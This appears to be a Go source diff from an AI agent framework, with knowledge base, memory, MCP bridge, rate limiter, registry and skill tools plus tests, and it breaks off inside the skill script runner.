query := tools.GetString(args, "query")
if query == "" {
return tools.Result{Err: fmt.Errorf("shared_knowledge_search: query is required")}
}
limit := tools.GetInt(args, "limit")
if limit <= 0 {
limit = 5
}
results, err := store.Search(ctx, query, limit)
if err != nil {
return tools.Result{Err: fmt.Errorf("shared_knowledge_search: %w", err)}
}
if len(results) == 0 {
return tools.Result{Output: "no documents found in shared knowledge base matching your query"}
}
var sb strings.Builder
for i, r := range results {
fmt.Fprintf(&sb, "%d. **%s** (`%s`)\n %s\n", i+1, r.Title, r.Slug, r.Snippet)
}
return tools.Result{Output: sb.String()}
},
}
}
// newSharedKnowledgeRead creates a tool that reads a shared knowledge document.
func newSharedKnowledgeRead(store KnowledgeStore) tools.Tool {
return tools.Tool{
Def: tools.Def{
Name: "shared_knowledge_read",
Description: "Read the full content of a shared knowledge document by its slug. This document is accessible by all agents.",
Parameters: []tools.Param{
{Name: "slug", Type: "string", Description: "Document slug (e.g. \"go-patterns\")", Required: true},
},
},
Exec: func(ctx context.Context, args map[string]any) tools.Result {
slug := tools.GetString(args, "slug")
if slug == "" {
return tools.Result{Err: fmt.Errorf("shared_knowledge_read: slug is required")}
}
doc, err := store.Get(ctx, slug)
if err != nil {
return tools.Result{Err: fmt.Errorf("shared_knowledge_read: %w", err)}
}
return tools.Result{Output: doc.Content}
},
}
}
// newSharedKnowledgeWrite creates a tool that writes a shared knowledge document.
func newSharedKnowledgeWrite(store KnowledgeStore) tools.Tool {
return tools.Tool{
Def: tools.Def{
Name: "shared_knowledge_write",
Description: "Create or update a shared knowledge document accessible by all agents. Use this to share knowledge with other agents.",
Parameters: []tools.Param{
{Name: "slug", Type: "string", Description: "Document slug (lowercase, hyphens, e.g. \"matrix-tips\")", Required: true},
{Name: "content", Type: "string", Description: "Full markdown content of the document", Required: true},
},
},
Exec: func(ctx context.Context, args map[string]any) tools.Result {
slug := tools.GetString(args, "slug")
content := tools.GetString(args, "content")
if slug == "" || content == "" {
return tools.Result{Err: fmt.Errorf("shared_knowledge_write: slug and content are required")}
}
err := store.Put(ctx, knowledge.Document{
Slug: slug,
Content: content,
})
if err != nil {
return tools.Result{Err: fmt.Errorf("shared_knowledge_write: %w", err)}
}
return tools.Result{Output: fmt.Sprintf("shared document saved: %s (%d bytes)", slug, len(content))}
},
}
}
// newSharedKnowledgeList creates a tool that lists all shared knowledge documents.
func newSharedKnowledgeList(store KnowledgeStore) tools.Tool {
return tools.Tool{
Def: tools.Def{
Name: "shared_knowledge_list",
Description: "List all documents in the shared knowledge base accessible by all agents.",
Parameters: []tools.Param{},
},
Exec: func(ctx context.Context, args map[string]any) tools.Result {
docs, err := store.List(ctx)
if err != nil {
return tools.Result{Err: fmt.Errorf("shared_knowledge_list: %w", err)}
}
if len(docs) == 0 {
return tools.Result{Output: "shared knowledge base is empty"}
}
var sb strings.Builder
for _, d := range docs {
fmt.Fprintf(&sb, "- `%s`: %s (updated %s)\n",
d.Slug, d.Title, d.UpdatedAt.Format("2006-01-02"))
}
return tools.Result{Output: sb.String()}
},
}
}
+202
View File
@@ -0,0 +1,202 @@
package knowledgetools
import (
"context"
"testing"
"github.com/enmanuel/agents/pkg/knowledge"
)
func TestNewSharedKnowledgeTools(t *testing.T) {
store := newMockKnowledgeStore()
tools := NewSharedKnowledgeTools(store)
if len(tools) != 4 {
t.Errorf("expected 4 tools, got %d", len(tools))
}
names := make(map[string]bool)
for _, tool := range tools {
names[tool.Def.Name] = true
}
expected := []string{
"shared_knowledge_search",
"shared_knowledge_read",
"shared_knowledge_write",
"shared_knowledge_list",
}
for _, name := range expected {
if !names[name] {
t.Errorf("expected tool %q not found", name)
}
}
}
func TestSharedKnowledgeSearchTool(t *testing.T) {
store := newMockKnowledgeStore()
store.docs["shared-doc"] = knowledge.Document{
Slug: "shared-doc", Title: "Shared Doc", Content: "This is shared knowledge",
}
tools := NewSharedKnowledgeTools(store)
tool := tools[0] // shared_knowledge_search is first
// Missing query
r := tool.Exec(context.Background(), map[string]any{})
if r.Err == nil {
t.Error("expected error for missing query")
}
// Valid search
r = tool.Exec(context.Background(), map[string]any{"query": "shared"})
if r.Err != nil {
t.Errorf("unexpected error: %v", r.Err)
}
if r.Output == "" {
t.Error("expected non-empty output")
}
// Empty results
store2 := newMockKnowledgeStore()
tools2 := NewSharedKnowledgeTools(store2)
r = tools2[0].Exec(context.Background(), map[string]any{"query": "nothing"})
if r.Err != nil {
t.Errorf("unexpected error: %v", r.Err)
}
if r.Output != "no documents found in shared knowledge base matching your query" {
t.Errorf("expected empty message, got %q", r.Output)
}
}
func TestSharedKnowledgeReadTool(t *testing.T) {
store := newMockKnowledgeStore()
store.docs["shared-doc"] = knowledge.Document{
Slug: "shared-doc", Title: "Shared", Content: "Shared content",
}
tools := NewSharedKnowledgeTools(store)
tool := tools[1] // shared_knowledge_read is second
// Missing slug
r := tool.Exec(context.Background(), map[string]any{})
if r.Err == nil {
t.Error("expected error for missing slug")
}
// Valid read
r = tool.Exec(context.Background(), map[string]any{"slug": "shared-doc"})
if r.Err != nil {
t.Errorf("unexpected error: %v", r.Err)
}
if r.Output != "Shared content" {
t.Errorf("output = %q, want %q", r.Output, "Shared content")
}
// Not found
r = tool.Exec(context.Background(), map[string]any{"slug": "nope"})
if r.Err == nil {
t.Error("expected error for nonexistent doc")
}
}
func TestSharedKnowledgeWriteTool(t *testing.T) {
store := newMockKnowledgeStore()
tools := NewSharedKnowledgeTools(store)
tool := tools[2] // shared_knowledge_write is third
// Missing params
r := tool.Exec(context.Background(), map[string]any{"slug": "test"})
if r.Err == nil {
t.Error("expected error for missing content")
}
// Valid write
r = tool.Exec(context.Background(), map[string]any{
"slug": "shared-doc",
"content": "# Shared Doc\nShared by agent A",
})
if r.Err != nil {
t.Errorf("unexpected error: %v", r.Err)
}
if _, ok := store.docs["shared-doc"]; !ok {
t.Error("document was not stored")
}
// Verify the output message mentions "shared"
if r.Output != "shared document saved: shared-doc (30 bytes)" {
t.Errorf("output = %q, want mention of shared", r.Output)
}
}
func TestSharedKnowledgeListTool(t *testing.T) {
store := newMockKnowledgeStore()
tools := NewSharedKnowledgeTools(store)
tool := tools[3] // shared_knowledge_list is fourth
// Empty
r := tool.Exec(context.Background(), map[string]any{})
if r.Err != nil {
t.Errorf("unexpected error: %v", r.Err)
}
if r.Output != "shared knowledge base is empty" {
t.Errorf("expected empty message, got %q", r.Output)
}
// With docs
store.docs["shared-doc1"] = knowledge.Document{Slug: "shared-doc1", Title: "Shared 1"}
r = tool.Exec(context.Background(), map[string]any{})
if r.Err != nil {
t.Errorf("unexpected error: %v", r.Err)
}
if r.Output == "shared knowledge base is empty" {
t.Error("expected non-empty output after adding docs")
}
}
// TestSharedAndPrivateCoexist verifies that shared and private tools can coexist
// with different stores and don't interfere with each other.
func TestSharedAndPrivateCoexist(t *testing.T) {
privateStore := newMockKnowledgeStore()
sharedStore := newMockKnowledgeStore()
// Write to private store
privateStore.docs["private-doc"] = knowledge.Document{
Slug: "private-doc", Title: "Private", Content: "Private content",
}
// Write to shared store
sharedStore.docs["shared-doc"] = knowledge.Document{
Slug: "shared-doc", Title: "Shared", Content: "Shared content",
}
// Verify private has only private doc
privateDocs, _ := privateStore.List(context.Background())
if len(privateDocs) != 1 || privateDocs[0].Slug != "private-doc" {
t.Error("private store should only have private doc")
}
// Verify shared has only shared doc
sharedDocs, _ := sharedStore.List(context.Background())
if len(sharedDocs) != 1 || sharedDocs[0].Slug != "shared-doc" {
t.Error("shared store should only have shared doc")
}
// Verify tools from different stores don't mix data
privateTool := NewKnowledgeRead(privateStore)
sharedTools := NewSharedKnowledgeTools(sharedStore)
sharedTool := sharedTools[1] // shared_knowledge_read
// Private tool can't read shared doc
r := privateTool.Exec(context.Background(), map[string]any{"slug": "shared-doc"})
if r.Err == nil {
t.Error("private tool should not be able to read shared doc")
}
// Shared tool can't read private doc
r = sharedTool.Exec(context.Background(), map[string]any{"slug": "private-doc"})
if r.Err == nil {
t.Error("shared tool should not be able to read private doc")
}
}
+138
View File
@@ -0,0 +1,138 @@
// Package mcptools provides bridges to convert MCP server tools into native agent tools.
package mcptools
import (
"context"
"fmt"
"log/slog"
"time"
"github.com/mark3labs/mcp-go/mcp"
shellmcp "github.com/enmanuel/agents/shell/mcp"
"github.com/enmanuel/agents/tools"
)
// FromMCPServer converts tools from an MCP client into native agent tools.
// prefix is prepended to tool names to avoid collisions (e.g., "brave_" → "brave_web_search").
// filter limits which tools to expose (empty = all tools).
// timeout is the default timeout for tool calls (0 = no timeout).
func FromMCPServer(mcpClient *shellmcp.Client, prefix string, filter []string, timeout time.Duration, logger *slog.Logger) []tools.Tool {
if timeout == 0 {
timeout = 30 * time.Second // default timeout
}
mcpTools := mcpClient.Tools()
filterSet := make(map[string]bool)
for _, name := range filter {
filterSet[name] = true
}
var result []tools.Tool
for _, mcpTool := range mcpTools {
// Apply filter if specified
if len(filterSet) > 0 && !filterSet[mcpTool.Name] {
continue
}
// Convert MCP tool to native tool
toolName := prefix + mcpTool.Name
tool := convertMCPTool(mcpClient, mcpTool, toolName, timeout, logger)
result = append(result, tool)
}
logger.Info("converted MCP tools", "server", mcpClient.Name(), "count", len(result))
return result
}
// convertMCPTool converts a single mcp.Tool to a tools.Tool.
func convertMCPTool(mcpClient *shellmcp.Client, mcpTool mcp.Tool, prefixedName string, timeout time.Duration, logger *slog.Logger) tools.Tool {
return tools.Tool{
Def: tools.Def{
Name: prefixedName,
Description: mcpTool.Description,
Parameters: convertSchema(mcpTool.InputSchema),
},
Exec: func(ctx context.Context, args map[string]any) tools.Result {
// Call the MCP tool (using original name without prefix)
result, err := mcpClient.CallTool(ctx, mcpTool.Name, args, timeout)
if err != nil {
logger.Error("MCP tool call failed", "tool", mcpTool.Name, "error", err)
return tools.Result{Err: err}
}
// Extract text from result
output := extractTextFromResult(result)
return tools.Result{Output: output}
},
}
}
// convertSchema converts an MCP InputSchema to agent tool Parameters.
func convertSchema(schema mcp.ToolInputSchema) []tools.Param {
var params []tools.Param
// MCP schemas are JSON Schema objects with type: "object" and properties
if schema.Type != "object" || schema.Properties == nil {
return params
}
requiredSet := make(map[string]bool)
for _, name := range schema.Required {
requiredSet[name] = true
}
for propName, propVal := range schema.Properties {
param := tools.Param{
Name: propName,
Required: requiredSet[propName],
}
// Extract type and description from property schema
if propMap, ok := propVal.(map[string]any); ok {
if typeStr, ok := propMap["type"].(string); ok {
param.Type = typeStr
}
if desc, ok := propMap["description"].(string); ok {
param.Description = desc
}
}
// Default to string if type not found
if param.Type == "" {
param.Type = "string"
}
params = append(params, param)
}
return params
}
// extractTextFromResult extracts text content from an MCP CallToolResult.
func extractTextFromResult(result *mcp.CallToolResult) string {
if result == nil {
return ""
}
var output string
for _, content := range result.Content {
// Handle different content types
switch c := content.(type) {
case mcp.TextContent:
output += c.Text
case *mcp.TextContent:
output += c.Text
default:
// For other content types (image, audio, resources), just indicate presence
output += fmt.Sprintf("[non-text content: %T]\n", content)
}
}
// If result has IsError flag set, prepend error indicator
if result.IsError {
output = "[ERROR] " + output
}
return output
}
+200
View File
@@ -0,0 +1,200 @@
package memorytools
import (
"context"
"fmt"
"strings"
"sync"
"time"
"github.com/enmanuel/agents/pkg/memory"
"github.com/enmanuel/agents/tools"
)
// MemoryStore is the subset of memory.Store needed by memory tools.
type MemoryStore interface {
SaveFact(ctx context.Context, fact memory.Fact) error
RecallFacts(ctx context.Context, agentID, subject string, key *string) ([]memory.Fact, error)
DeleteFacts(ctx context.Context, agentID, subject string, key *string) error
}
// WindowClearer allows tools to clear the conversation window for a room.
type WindowClearer interface {
ClearWindow(roomID string)
}
// RoomContext is a thread-safe holder for the current room ID.
// Set by the runtime before each event handling; read by memory_clear_context.
type RoomContext struct {
mu sync.RWMutex
roomID string
}
// Set updates the current room ID.
func (rc *RoomContext) Set(roomID string) {
rc.mu.Lock()
rc.roomID = roomID
rc.mu.Unlock()
}
// Get returns the current room ID.
func (rc *RoomContext) Get() string {
rc.mu.RLock()
defer rc.mu.RUnlock()
return rc.roomID
}
// NewMemorySave creates a tool that saves a fact to long-term memory.
func NewMemorySave(agentID string, store MemoryStore) tools.Tool {
return tools.Tool{
Def: tools.Def{
Name: "memory_save",
Description: "Save a fact to long-term memory. Use this to remember important information about users, topics, or preferences.",
Parameters: []tools.Param{
{Name: "subject", Type: "string", Description: "The subject this fact is about (e.g. a username, a topic)", Required: true},
{Name: "key", Type: "string", Description: "The fact key (e.g. 'favorite_language', 'timezone')", Required: true},
{Name: "value", Type: "string", Description: "The fact value to store", Required: true},
},
},
Exec: func(ctx context.Context, args map[string]any) tools.Result {
subject := tools.GetString(args, "subject")
key := tools.GetString(args, "key")
value := tools.GetString(args, "value")
if subject == "" || key == "" || value == "" {
return tools.Result{Err: fmt.Errorf("memory_save: subject, key, and value are required")}
}
err := store.SaveFact(ctx, memory.Fact{
AgentID: agentID,
Subject: subject,
Key: key,
Value: value,
})
if err != nil {
return tools.Result{Err: fmt.Errorf("memory_save: %w", err)}
}
return tools.Result{Output: fmt.Sprintf("saved: %s.%s = %s", subject, key, value)}
},
}
}
// NewMemoryRecall creates a tool that retrieves facts from long-term memory.
func NewMemoryRecall(agentID string, store MemoryStore) tools.Tool {
return tools.Tool{
Def: tools.Def{
Name: "memory_recall",
Description: "Recall facts from long-term memory about a subject. Omit key to get all facts for the subject.",
Parameters: []tools.Param{
{Name: "subject", Type: "string", Description: "The subject to recall facts about", Required: true},
{Name: "key", Type: "string", Description: "Optional specific fact key to recall", Required: false},
},
},
Exec: func(ctx context.Context, args map[string]any) tools.Result {
subject := tools.GetString(args, "subject")
if subject == "" {
return tools.Result{Err: fmt.Errorf("memory_recall: subject is required")}
}
var keyPtr *string
if k := tools.GetString(args, "key"); k != "" {
keyPtr = &k
}
facts, err := store.RecallFacts(ctx, agentID, subject, keyPtr)
if err != nil {
return tools.Result{Err: fmt.Errorf("memory_recall: %w", err)}
}
if len(facts) == 0 {
return tools.Result{Output: fmt.Sprintf("no facts found for subject %q", subject)}
}
var sb strings.Builder
for _, f := range facts {
fmt.Fprintf(&sb, "%s.%s = %s\n", f.Subject, f.Key, f.Value)
}
return tools.Result{Output: sb.String()}
},
}
}
// NewMemoryForget creates a tool that deletes facts from long-term memory.
func NewMemoryForget(agentID string, store MemoryStore) tools.Tool {
return tools.Tool{
Def: tools.Def{
Name: "memory_forget",
Description: "Delete facts from long-term memory. Omit key to delete all facts for the subject.",
Parameters: []tools.Param{
{Name: "subject", Type: "string", Description: "The subject whose facts to delete", Required: true},
{Name: "key", Type: "string", Description: "Optional specific fact key to delete; omit to delete all", Required: false},
},
},
Exec: func(ctx context.Context, args map[string]any) tools.Result {
subject := tools.GetString(args, "subject")
if subject == "" {
return tools.Result{Err: fmt.Errorf("memory_forget: subject is required")}
}
var keyPtr *string
if k := tools.GetString(args, "key"); k != "" {
keyPtr = &k
}
err := store.DeleteFacts(ctx, agentID, subject, keyPtr)
if err != nil {
return tools.Result{Err: fmt.Errorf("memory_forget: %w", err)}
}
if keyPtr != nil {
return tools.Result{Output: fmt.Sprintf("forgot %s.%s", subject, *keyPtr)}
}
return tools.Result{Output: fmt.Sprintf("forgot all facts about %s", subject)}
},
}
}
// NewMemoryClearContext creates a tool that clears the conversation window.
func NewMemoryClearContext(clearer WindowClearer, roomCtx *RoomContext) tools.Tool {
return tools.Tool{
Def: tools.Def{
Name: "memory_clear_context",
Description: "Clear the conversation context window. Useful to start fresh. Omit room_id to clear the current room.",
Parameters: []tools.Param{
{Name: "room_id", Type: "string", Description: "Optional room ID to clear; defaults to current room", Required: false},
},
},
Exec: func(ctx context.Context, args map[string]any) tools.Result {
roomID := tools.GetString(args, "room_id")
if roomID == "" {
roomID = roomCtx.Get()
}
if roomID == "" {
return tools.Result{Err: fmt.Errorf("memory_clear_context: no room_id provided and no current room")}
}
clearer.ClearWindow(roomID)
return tools.Result{Output: fmt.Sprintf("conversation context cleared for room %s", roomID)}
},
}
}
// NewMemorySummary creates a tool that saves an important summary to long-term memory.
func NewMemorySummary(agentID string, store MemoryStore) tools.Tool {
return tools.Tool{
Def: tools.Def{
Name: "memory_summary",
Description: "Save an important summary or takeaway from the current conversation to long-term memory.",
Parameters: []tools.Param{
{Name: "text", Type: "string", Description: "The summary text to save", Required: true},
},
},
Exec: func(ctx context.Context, args map[string]any) tools.Result {
text := tools.GetString(args, "text")
if text == "" {
return tools.Result{Err: fmt.Errorf("memory_summary: text is required")}
}
key := time.Now().UTC().Format("2006-01-02T15:04:05")
err := store.SaveFact(ctx, memory.Fact{
AgentID: agentID,
Subject: "_summary",
Key: key,
Value: text,
})
if err != nil {
return tools.Result{Err: fmt.Errorf("memory_summary: %w", err)}
}
return tools.Result{Output: "summary saved"}
},
}
}
+70
View File
@@ -0,0 +1,70 @@
package tools
import (
"sync"
"time"
)
// RateLimiter tracks tool call counts per key (typically roomID) using a
// sliding window. It is safe for concurrent use.
type RateLimiter struct {
maxCalls int
window time.Duration
mu sync.Mutex
buckets map[string][]time.Time
}
// NewRateLimiter creates a rate limiter that allows maxCalls per window per key.
func NewRateLimiter(maxCalls int, window time.Duration) *RateLimiter {
return &RateLimiter{
maxCalls: maxCalls,
window: window,
buckets: make(map[string][]time.Time),
}
}
// Allow checks whether a call for the given key is within the rate limit.
// If allowed, it records the call and returns true. Otherwise returns false.
func (rl *RateLimiter) Allow(key string) bool {
rl.mu.Lock()
defer rl.mu.Unlock()
now := time.Now()
cutoff := now.Add(-rl.window)
// Trim expired entries
calls := rl.buckets[key]
start := 0
for start < len(calls) && calls[start].Before(cutoff) {
start++
}
calls = calls[start:]
if len(calls) >= rl.maxCalls {
rl.buckets[key] = calls
return false
}
rl.buckets[key] = append(calls, now)
return true
}
// Cleanup removes stale entries for keys that have no recent calls.
// Should be called periodically to prevent memory growth.
func (rl *RateLimiter) Cleanup() {
rl.mu.Lock()
defer rl.mu.Unlock()
cutoff := time.Now().Add(-rl.window)
for key, calls := range rl.buckets {
start := 0
for start < len(calls) && calls[start].Before(cutoff) {
start++
}
if start >= len(calls) {
delete(rl.buckets, key)
} else {
rl.buckets[key] = calls[start:]
}
}
}
+161
View File
@@ -0,0 +1,161 @@
package tools
import (
"context"
"log/slog"
"testing"
"time"
)
func TestRateLimiter_AllowWithinLimit(t *testing.T) {
rl := NewRateLimiter(3, time.Minute)
for i := 0; i < 3; i++ {
if !rl.Allow("room1") {
t.Fatalf("call %d should be allowed", i+1)
}
}
}
func TestRateLimiter_DenyOverLimit(t *testing.T) {
rl := NewRateLimiter(3, time.Minute)
for i := 0; i < 3; i++ {
rl.Allow("room1")
}
if rl.Allow("room1") {
t.Fatal("4th call should be denied")
}
}
func TestRateLimiter_DifferentKeysIndependent(t *testing.T) {
rl := NewRateLimiter(2, time.Minute)
rl.Allow("room1")
rl.Allow("room1")
// room1 is full, but room2 should still be allowed
if rl.Allow("room1") {
t.Fatal("room1 3rd call should be denied")
}
if !rl.Allow("room2") {
t.Fatal("room2 should be allowed independently")
}
}
func TestRateLimiter_WindowExpiry(t *testing.T) {
// Use a very short window for testing
rl := NewRateLimiter(2, 50*time.Millisecond)
rl.Allow("room1")
rl.Allow("room1")
if rl.Allow("room1") {
t.Fatal("should be denied before window expires")
}
// Wait for window to expire
time.Sleep(60 * time.Millisecond)
if !rl.Allow("room1") {
t.Fatal("should be allowed after window expires")
}
}
func TestRateLimiter_Cleanup(t *testing.T) {
rl := NewRateLimiter(5, 50*time.Millisecond)
rl.Allow("room1")
rl.Allow("room2")
// Wait for entries to expire
time.Sleep(60 * time.Millisecond)
rl.Cleanup()
rl.mu.Lock()
count := len(rl.buckets)
rl.mu.Unlock()
if count != 0 {
t.Fatalf("expected 0 buckets after cleanup, got %d", count)
}
}
func TestRateLimiter_CleanupKeepsActive(t *testing.T) {
rl := NewRateLimiter(5, time.Minute)
rl.Allow("room1")
rl.Cleanup()
rl.mu.Lock()
count := len(rl.buckets)
rl.mu.Unlock()
if count != 1 {
t.Fatalf("expected 1 bucket after cleanup of active entries, got %d", count)
}
}
func TestRegistry_ExecuteForRoom_RateLimited(t *testing.T) {
logger := slog.Default()
reg := NewRegistry(logger)
// Register a simple echo tool
reg.Register(Tool{
Def: Def{Name: "echo", Description: "echo tool"},
Exec: func(_ context.Context, args map[string]any) Result {
return Result{Output: "ok"}
},
})
rl := NewRateLimiter(2, time.Minute)
reg.SetRateLimiter(rl)
ctx := context.Background()
// First two calls succeed
r1 := reg.ExecuteForRoom(ctx, "echo", "", "!room:test")
if r1.Err != nil {
t.Fatalf("call 1 should succeed: %v", r1.Err)
}
r2 := reg.ExecuteForRoom(ctx, "echo", "", "!room:test")
if r2.Err != nil {
t.Fatalf("call 2 should succeed: %v", r2.Err)
}
// Third call is rate limited
r3 := reg.ExecuteForRoom(ctx, "echo", "", "!room:test")
if r3.Err == nil {
t.Fatal("call 3 should be rate limited")
}
// Different room still works
r4 := reg.ExecuteForRoom(ctx, "echo", "", "!room:other")
if r4.Err != nil {
t.Fatalf("different room should succeed: %v", r4.Err)
}
}
func TestRegistry_ExecuteForRoom_NoLimiter(t *testing.T) {
logger := slog.Default()
reg := NewRegistry(logger)
reg.Register(Tool{
Def: Def{Name: "echo", Description: "echo tool"},
Exec: func(_ context.Context, args map[string]any) Result {
return Result{Output: "ok"}
},
})
// No rate limiter set — all calls should succeed
ctx := context.Background()
for i := 0; i < 20; i++ {
r := reg.ExecuteForRoom(ctx, "echo", "", "!room:test")
if r.Err != nil {
t.Fatalf("call %d should succeed without limiter: %v", i+1, r.Err)
}
}
}
+144
View File
@@ -0,0 +1,144 @@
package tools
import (
"context"
"encoding/json"
"fmt"
"log/slog"
"sort"
"time"
coretypes "github.com/enmanuel/agents/pkg/llm"
"github.com/enmanuel/agents/shell/logger"
)
// Registry holds available tools keyed by name.
type Registry struct {
tools map[string]Tool
logger *slog.Logger
rateLimiter *RateLimiter // nil when rate limiting is disabled
}
// NewRegistry creates an empty registry.
func NewRegistry(log *slog.Logger) *Registry {
return &Registry{
tools: make(map[string]Tool),
logger: log.With(logger.FieldComponent, "tools"),
}
}
// Register adds a tool to the registry.
func (r *Registry) Register(t Tool) {
r.tools[t.Def.Name] = t
r.logger.Debug("tool_registered", "name", t.Def.Name)
}
// Get looks up a tool by name.
func (r *Registry) Get(name string) (Tool, bool) {
t, ok := r.tools[name]
return t, ok
}
// Names returns all registered tool names in sorted order.
func (r *Registry) Names() []string {
names := make([]string, 0, len(r.tools))
for k := range r.tools {
names = append(names, k)
}
sort.Strings(names)
return names
}
// Len returns the number of registered tools.
func (r *Registry) Len() int {
return len(r.tools)
}
// SetRateLimiter attaches a rate limiter to the registry.
// When set, ExecuteForRoom checks the limit before running the tool.
func (r *Registry) SetRateLimiter(rl *RateLimiter) {
r.rateLimiter = rl
}
// ExecuteForRoom is like Execute but checks the per-room rate limit first.
// If the rate limit is exceeded, it returns an error result without executing.
func (r *Registry) ExecuteForRoom(ctx context.Context, name, argsJSON, roomID string) Result {
if r.rateLimiter != nil && roomID != "" {
if !r.rateLimiter.Allow(roomID) {
r.logger.Warn("tool_rate_limited", "tool", name, "room", roomID)
return Result{Err: fmt.Errorf("rate limit exceeded for room %s: too many tool calls per minute", roomID)}
}
}
return r.Execute(ctx, name, argsJSON)
}
// Execute looks up a tool by name and runs it. Returns an error result if not found.
func (r *Registry) Execute(ctx context.Context, name string, argsJSON string) Result {
t, ok := r.tools[name]
if !ok {
r.logger.Warn("tool_not_found", "tool", name)
return Result{Err: fmt.Errorf("tool %q not found", name)}
}
var args map[string]any
if argsJSON != "" {
if err := json.Unmarshal([]byte(argsJSON), &args); err != nil {
r.logger.Warn("tool_args_invalid", "tool", name, "err", err)
return Result{Err: fmt.Errorf("parse args for %q: %w", name, err)}
}
}
r.logger.Info("tool_exec_start", "tool", name)
start := time.Now()
result := t.Exec(ctx, args)
ms := time.Since(start).Milliseconds()
if result.Err != nil {
r.logger.Warn("tool_exec_error", "tool", name, "err", result.Err, logger.FieldDurationMS, ms)
} else {
r.logger.Info("tool_exec_end", "tool", name, logger.FieldDurationMS, ms)
}
return result
}
// ToLLMSpecs converts all registered tools to the LLM-compatible ToolSpec format.
// This is a pure transformation — no side effects.
func (r *Registry) ToLLMSpecs() []coretypes.ToolSpec {
specs := make([]coretypes.ToolSpec, 0, len(r.tools))
for _, name := range r.Names() {
t := r.tools[name]
specs = append(specs, defToLLMSpec(t.Def))
}
return specs
}
// defToLLMSpec converts a pure Def to an LLM ToolSpec with JSON Schema.
func defToLLMSpec(d Def) coretypes.ToolSpec {
properties := make(map[string]any, len(d.Parameters))
required := make([]string, 0)
for _, p := range d.Parameters {
properties[p.Name] = map[string]any{
"type": p.Type,
"description": p.Description,
}
if p.Required {
required = append(required, p.Name)
}
}
schema := map[string]any{
"type": "object",
"properties": properties,
}
if len(required) > 0 {
schema["required"] = required
}
return coretypes.ToolSpec{
Name: d.Name,
Description: d.Description,
InputSchema: schema,
}
}
+195
View File
@@ -0,0 +1,195 @@
package skilltools
import (
"context"
"encoding/json"
"fmt"
"strings"
"github.com/enmanuel/agents/pkg/skills"
shellskills "github.com/enmanuel/agents/shell/skills"
"github.com/enmanuel/agents/tools"
)
// NewSkillSearch creates a skill_search tool that finds relevant skills.
func NewSkillSearch(loader *shellskills.Loader, categories []string) tools.Tool {
return tools.Tool{
Def: tools.Def{
Name: "skill_search",
Description: "Search for skills relevant to a query. Returns a list of skills with their names, descriptions, and relevance scores. Use this when you need to find a skill to help with a task.",
Parameters: []tools.Param{
{Name: "query", Type: "string", Description: "Search query describing the task or capability needed", Required: true},
},
},
Exec: func(ctx context.Context, args map[string]any) tools.Result {
query := tools.GetString(args, "query")
if query == "" {
return tools.Result{Err: fmt.Errorf("query is required")}
}
// Load all skill metadata
metas, err := loader.LoadMeta()
if err != nil {
return tools.Result{Err: fmt.Errorf("load skills metadata: %w", err)}
}
// Filter by categories if configured
metas = skills.FilterByCategory(metas, categories)
// Match skills to query
matches := skills.Match(query, metas)
if len(matches) == 0 {
return tools.Result{Output: "No skills found matching the query."}
}
// Format output
var lines []string
lines = append(lines, fmt.Sprintf("Found %d relevant skill(s):\n", len(matches)))
for i, match := range matches {
if i >= 5 {
break // limit to top 5
}
lines = append(lines, fmt.Sprintf("%d. **%s** (category: %s, confidence: %.2f)",
i+1, match.Skill.Name, match.Skill.Category, match.Confidence))
lines = append(lines, fmt.Sprintf(" %s\n", match.Skill.Description))
}
return tools.Result{Output: strings.Join(lines, "\n")}
},
}
}
// NewSkillLoad creates a skill_load tool that loads full instructions for a skill.
func NewSkillLoad(loader *shellskills.Loader) tools.Tool {
return tools.Tool{
Def: tools.Def{
Name: "skill_load",
Description: "Load the complete instructions for a skill. This returns the full markdown content of the skill, which you should follow to complete the task. Use this after finding a skill with skill_search.",
Parameters: []tools.Param{
{Name: "skill_name", Type: "string", Description: "Name of the skill to load", Required: true},
},
},
Exec: func(ctx context.Context, args map[string]any) tools.Result {
skillName := tools.GetString(args, "skill_name")
if skillName == "" {
return tools.Result{Err: fmt.Errorf("skill_name is required")}
}
skill, err := loader.LoadSkill(skillName)
if err != nil {
return tools.Result{Err: fmt.Errorf("load skill: %w", err)}
}
// Format output with metadata + instructions
var output strings.Builder
output.WriteString(fmt.Sprintf("# Skill: %s\n\n", skill.Meta.Name))
output.WriteString(fmt.Sprintf("**Category**: %s\n\n", skill.Meta.Category))
output.WriteString(fmt.Sprintf("**Description**: %s\n\n", skill.Meta.Description))
if len(skill.Scripts) > 0 {
output.WriteString(fmt.Sprintf("**Scripts available**: %s\n", strings.Join(skill.Scripts, ", ")))
}
if len(skill.References) > 0 {
output.WriteString(fmt.Sprintf("**References available**: %s\n", strings.Join(skill.References, ", ")))
}
if len(skill.Templates) > 0 {
output.WriteString(fmt.Sprintf("**Templates available**: %s\n", strings.Join(skill.Templates, ", ")))
}
output.WriteString("\n---\n\n")
output.WriteString(skill.Instructions)
return tools.Result{Output: output.String()}
},
}
}
// NewSkillReadResource creates a skill_read_resource tool that reads a specific resource.
func NewSkillReadResource(loader *shellskills.Loader) tools.Tool {
return tools.Tool{
Def: tools.Def{
Name: "skill_read_resource",
Description: "Read a specific resource file from a skill (script, reference doc, template, or asset). Use this to load additional documentation or code referenced in the skill instructions.",
Parameters: []tools.Param{
{Name: "skill_name", Type: "string", Description: "Name of the skill", Required: true},
{Name: "resource_path", Type: "string", Description: "Path to the resource relative to the skill directory (e.g., 'scripts/deploy.sh', 'references/api.md')", Required: true},
},
},
Exec: func(ctx context.Context, args map[string]any) tools.Result {
skillName := tools.GetString(args, "skill_name")
resourcePath := tools.GetString(args, "resource_path")
if skillName == "" || resourcePath == "" {
return tools.Result{Err: fmt.Errorf("skill_name and resource_path are required")}
}
content, err := loader.ReadResource(skillName, resourcePath)
if err != nil {
return tools.Result{Err: fmt.Errorf("read resource: %w", err)}
}
return tools.Result{Output: content}
},
}
}
// NewSkillRunScript creates a skill_run_script tool that executes a skill script.
func NewSkillRunScript(loader *shellskills.Loader, executor *shellskills.Executor) tools.Tool {
return tools.Tool{
Def: tools.Def{
Name: "skill_run_script",
Description: "Execute a script from a skill with the given arguments. The script must be in the skill's scripts/ directory and use an allowed interpreter. Returns the script output.",
Parameters: []tools.Param{
{Name: "skill_name", Type: "string", Description: "Name of the skill", Required: true},
{Name: "script_name", Type: "string", Description: "Name of the script file (e.g., 'deploy.sh')", Required: true},
{Name: "args", Type: "array", Description: "Array of arguments to pass to the script", Required: false},
},
},
Exec: func(ctx context.Context, args map[string]any) tools.Result {
skillName := tools.GetString(args, "skill_name")
scriptName := tools.GetString(args, "script_name")
if skillName == "" || scriptName == "" {
return tools.Result{Err: fmt.Errorf("skill_name and script_name are required")}
}
// Parse args array
